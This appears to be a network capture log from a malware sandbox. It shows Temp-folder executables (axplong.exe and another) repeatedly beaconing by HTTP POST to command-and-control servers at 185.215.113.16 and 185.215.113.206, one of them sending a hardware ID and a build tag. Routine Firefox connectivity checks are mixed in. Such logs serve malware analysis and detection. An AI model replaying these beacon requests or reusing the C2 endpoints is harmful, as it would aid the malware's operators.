Nov 12, 2024 05:03:11.795042992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:11.796216965 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:12.090197086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49982	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:12.210604906 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:13.124954939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:13.412259102 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:13.702789068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49985	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:13.924050093 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:14.805481911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:14.811515093 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:15.102061987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49990	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:15.282782078 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:16.185893059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:16.195539951 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:16.475253105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49992	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:16.622653008 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:17.515033960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:17.520512104 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:17.801211119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49996	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:17.932650089 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:18.844526052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:18.860524893 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:19.154581070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49998	34.107.221.82	80	3184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:18.025831938 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:03:18.619806051 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50685 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 12, 2024 05:03:20.194614887 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:03:20.319363117 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50687 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50000	34.107.221.82	80	3184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:18.853008032 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 12, 2024 05:03:19.458054066 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 11 Nov 2024 16:48:08 GMT Age: 40511 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50003	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:19.279330969 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:20.211148024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:20.261760950 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:20.550201893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50008	185.215.113.206	80	2460	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:20.089642048 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 05:03:20.991974115 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 05:03:21.042006969 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="build"mars------GIEBFHCAKFBGDHIDHIDB--
Nov 12, 2024 05:03:21.324793100 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50011	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:20.679502010 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:21.589936972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:21.590831995 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:21.876723051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50013	34.107.221.82	80	3184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:21.614370108 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 12, 2024 05:03:22.202280998 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 11 Nov 2024 16:48:08 GMT Age: 40514 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 12, 2024 05:03:32.217941999 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50015	34.107.221.82	80	3184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:21.834929943 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:03:22.430932045 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50689 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 12, 2024 05:03:32.436753035 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50016	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:22.007049084 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:22.915456057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:22.919533968 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:23.205282927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50017	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:23.466706038 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
